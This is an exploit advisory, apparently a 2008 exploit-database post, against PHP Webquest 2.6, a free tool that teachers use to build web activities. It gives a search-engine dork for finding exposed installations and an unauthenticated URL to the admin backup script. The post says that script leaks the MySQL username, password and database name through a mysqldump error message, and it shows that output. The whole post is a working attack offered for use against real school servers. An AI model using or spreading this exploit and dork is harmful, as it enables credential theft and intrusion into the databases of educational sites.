PHP Webquest 2.6 Get Database Credentials Vulnerability

2008-01-09 00:00:00

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Author: MhZ91
Title: PHP Webquest 2.6 Get Database's Credential
Download: http://phpwebquest.org/descargas/phpwebquest-2.6-international.zip
Bug: Get Database's Credential
Info: PHP Webquest is a free educational software developed in order to help those teachers who want to create their own activities without the need of wrtitng any HTML code or uploading files to a web server. If you want to install it at your school’s server, please click on the image of the International Version.
Dork: "PHP WEBQUEST VERSION " or inurl:"/phpwebquest/"
Visit: http://www.inj3ct-it.org


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Poc:

The exploit work only if the function system(); is enabled on the server.. because it return a message whit the db credentials..
We can get the file of the backup, and it return this:

<H1>Error ejecutando comando: /usr/bin/mysqldump -u xxx --password=xxx1 --opt xx2</H1>

Where xxx is the mysql login, xxx1 the password and xx2 the name of database.

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Exploit:

http://[www.example.com]/admin/backup_phpwebquest.php

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